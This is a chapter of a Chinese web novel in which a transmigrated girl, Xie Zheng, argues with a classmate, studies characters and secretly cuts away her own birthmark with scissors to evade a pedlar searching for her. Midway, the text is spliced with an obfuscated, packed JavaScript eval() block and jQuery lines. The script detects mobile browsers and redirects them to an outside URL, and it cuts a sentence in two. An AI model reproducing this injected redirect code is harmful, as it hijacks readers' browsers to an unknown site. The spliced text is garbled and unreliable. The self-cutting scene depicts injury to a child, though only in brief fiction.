散了学,谢峥连招呼也不打一个,背上书袋蹬蹬冲出课室。
一边跑,一边咳。
那动静,听得陈端眼皮直跳,又气又无奈,还有些委屈。
他觉得谢峥这个新朋友很有意思,真没想惹她生气啊!
谢峥气呼呼回到家,沈仪正在灶房烙饼。
刚出锅的面饼冒着热气,白生生的,看起来蓬松又暄软。
谢峥摸摸肚皮,蹭到沈仪身边:“阿娘,我回来了。”
沈仪捻起一块饼,吹两下,递到谢峥唇边:“小口吃,当心烫。”
谢峥嚼嚼嚼,满口小麦的清香,却不似往常那般笑得见牙不见眼,大夸特夸。
沈仪定定看她几眼,眉头微蹙:“为什么不开心?”
自家孩子乖巧又嘴甜,绝不可能与人闹矛盾,多半是受欺负了。
谢峥将她与陈端的小争执告诉沈仪,忿忿握拳:“他太过分了,怎么能说阿爹阿娘哭瞎眼呢!”
沈仪哭笑不得:“他只是随口一说,没有坏心的。”
谢峥鼓了鼓脸,憋着气不吭声。
沈仪轻叹,想去摸谢峥的脸,手上沾着面粉,只得作罢,柔声细语道:“他是在关心你的安危,关心我们一家三口,不关心你的人只会冷眼旁观,看咱家的笑话,明白吗?”
“明白了,就像二叔,明明是一家人,却要把我抓走,送给那个什么郡主,真是坏透了!”谢峥煞有其事地点头,“阿爹阿娘最爱我,离了我不行。”
沈仪怔了下,心软得一塌糊涂。
谢峥像是一缕光,照进她和年哥灰暗的人生。
给予他们慰藉,给予他们快乐。
沈仪不敢想,昨日那两人若是得逞了,她该如何是好。
希望到来又破灭,她一定会疯掉的。
沈仪三言两语哄好谢峥,让她自个儿去玩,继续烙饼。
烙完饼,她还得再打几个络子。
虽然还清了钱,分家所得的五两还剩三两,足够很长一段时间的吃穿嚼用,可谁让沈仪是个闲不住的勤快人,而今家里又多了个孩子,她聪慧机敏,是个读书的料子,自然得多多挣钱。
谢峥嘴上应着,回东屋后却是继续翻看《说文解字》,学习大周朝的文字。
谢峥先将昨日所学复习巩固一番,她翻得很快,一边翻看一边在桌面上写写画画,不消多时便复习完毕继续往下看。
待谢义年从县城回来,谢峥写得多了,手指头都红了,隐隐作痛。
这样下去也不是个办法,谢峥跑去找谢义年:“阿爹,家里还有木板吗?”
谢义年正在洗脸,大掌将巾帕按在脸上,一通揉搓,谢峥看着都替他脸疼:“要木板做什么?”
谢峥将红通通的手指递到他眼前:“我在学认字,在桌上写不太方便,手也疼,打算用木板和树枝练习。”
识字可是头等大事,谢义年表情一肃,当即丢了巾帕,从屋后取来一块木板,削去毛刺后冲洗干净:“昨儿刚好还剩一块,拿去用吧。”
“阿爹最好啦!”谢峥欢呼,将木板抱在怀中,扭身钻进东屋。
沈仪在灶房里吆喝:“先吃饭,明日再看也不迟。”
谢峥嗯嗯应着,将木板放在自己的枕头底下,又去灶房的柴火堆里找了根不粗不细的树枝,这才坐下用夕食。
今晚的伙食是糙米粥和面饼,以及腌制的萝卜干。
谢峥捧起碗,稀溜溜喝上一大口,再咬一口饼子。
好一个主食配主食!
沈仪嚼着萝卜丁,叮嘱谢峥:“下午去朱大夫家,路上碰到了兰英婶子,她家的三石过两日成亲,请我明日过去帮忙,你乖乖待在家里,把门从里面锁上,谁敲门也别开。”
村塾十日一休沐,明日便是休沐日。
谢峥问:“阿娘何时能回来?”
“估计要到傍晚时候。”沈仪笑着道,“后日带你去吃席,顺便认认人。”
既有融入福乐村的打算,谢峥自然不会拒绝沈仪的好意。
用过夕食,谢峥趁着天还没黑透,又看了会儿《说文解字》,捏着树枝在木板上划拉,沈仪三催四请才停下,洗漱歇下。
-
翌日,谢峥一觉睡到自然醒。
家里静悄悄的,沈仪和谢义年早已出门,而她竟毫无觉察。
谢峥用力搓两下脸,搓走瞌睡虫,坐在炕上发了会儿呆,呼叫系统:“我要兑换祛疤丹和止血丹。”
【宿主至今仍未还清利息,请三思而行。】
谢峥当然知道,但比起赊账和利息,显然小命更重要。
【祛疤丹,5积分/枚】
【止血丹,5积分/枚】
【购买成功,已自动扣除积分】
【当前积分:-10】
流光掠过,谢峥手里多出两枚丹药。
谢峥将其放在枕边,取来灶房里用来接屋顶雨水的破碗,放在小木凳前。
而后反锁上门,挽起衣袖,露出细瘦小臂,从针线筐里找出剪刀,用清水反复冲洗,又在烛火上炙烤片刻。
火光在浅褐色眼眸中跃动,谢峥伸出小臂,没有一丝犹豫,手起刀落,剜下那花生大小的红色胎记。
鲜血蜿蜒流下,滴入下方的破碗中,晕开大片刺目的红。
剧痛袭来,谢峥浅浅吸气,凭直觉摸到止血丹,塞入口中。
将破碗踢到桌底下,确保地面没有留下血迹,靠在炕上闭眼假寐。
......
村塾不远处的枣树下,几个妇人一边纳鞋底,一边闲谈。
见谢二婶一趟趟从河边挑水,谢老二坐在门口吃花生,脸上青一块紫一块,妇人唏嘘:“真是活该挨打。”
“谁让他把主意打到孩子身上,真当谢老大是吃素的。”
提起孩子,陈端的母亲忍不住说道:“谢老大家的那个脾气可不小,端哥儿不过说了句‘你若出了事,你爹娘怕是要哭瞎眼’,她便对端哥儿甩脸子,还在桌上画了条线,不准端哥儿过线,否则就是小乌龟。”
妇人们又是震惊,又是好笑。
“小乌龟?还真是孩子气性。”
“一个病秧子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540705|186643||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气性这么大,也不知谢老大两口子图什么。”
“那孩子估计只听到‘哭瞎眼’三个字了,可不就急了。”
“端哥儿他娘,你消消气,那孩子也是个苦命的,自然将谢老大两口子看得重了些。”
陈端他娘穿针引线,摇了摇头:“我不过感慨两句,端哥儿都没生气,我哪能跟一个孩子置气。”
货郎肩挑货担,吆喝着途径枣树下。
陈端他娘留意到他,嘴上不停:“不过话又说回来,谢老二真是瞎了眼,居然觉得那孩子是侏儒,真小孩和假小孩区别大着呢,假小孩才不会这么斤斤计较,真真是幼稚得要死......”
货郎健步如飞,忽而咳嗽几声,在黄泥房前停下。
放下货担,上前敲门。
妇人们见状,纷纷停下手里的活儿。
虽说昨日闹了场乌龙,并非拍花子偷小孩,但当下这世道,警惕点总没错。
谢老大进城做工,他媳妇又去张兰英家帮忙,她们怎么也得盯着点。
货郎轻叩门扉,须臾后木门打开一条缝,谢峥躲在门口,只露出一双眼:“你是何人?做什么的?”
货郎脸上挂着恰到好处的憨厚笑容:“我从富阳县而来,赶了几个时辰的路,这会儿渴得慌,实在受不住了,想来讨口水喝。”
谢峥将门拉开一些,露出英气的五官,看到货郎身后的货担,视线在那兔子面具上定格一瞬,又留意到枣树下的妇人们,眼里的警惕淡去两分:“只有冷水,喝吗?”
货郎搓手:“喝!喝的!”
谢峥打开门走出来,去灶房水缸打了一碗水,递给门外的货郎。
货郎伸手来接,却一个失手,将碗打碎。
冷水一股脑洒在谢峥的短袄上,尤其是右边的袖子,沉甸甸冷冰冰,骨头缝都渗入寒意。
谢峥瞬间红了眼,不过是气得,怒瞪货郎:“我好心给你水喝,你怎还恩将仇报,砸了我家的碗?我家拢共也就六个碗,你究竟安的什么心?”
货郎从货担取来一个大海碗:“实在对不住,这碗赔你可好?”
谢峥脸色这才好看些,接过碗放在灶台上,旁若无人地脱去短袄,费力地拧:“这么冷的天,着凉会生病的,可我又没有多余的衣服......”
越想越气,凶巴巴地瞪了那货郎一眼。
货郎过意不去:“不如让我来?”
谢峥迟疑一瞬,突然打了个喷嚏,冷得直哆嗦,遂不再纠结,将短袄递过去。
货郎指腹不经意触上谢峥手腕内侧,脉象强劲有力,皮肤平滑,并无粗糙发硬的疤痕,更不见朱红色的胎记。
“好了。”货郎归还短袄,又递上一只兔子面具,咧嘴笑道,“来年是兔年,提前讨个吉利。”
谢峥眼睛亮了下,语气却不冷不热:“你等着,我再去给你倒一碗水。”
货郎自是连连称谢,喝了水顺手将地上的碎片扫干净,这才挑着货担离开。
谢峥将面具丢进灶膛,锁上灶房的门,回东屋将门反锁,踢了草鞋钻进被窝,沉沉睡去。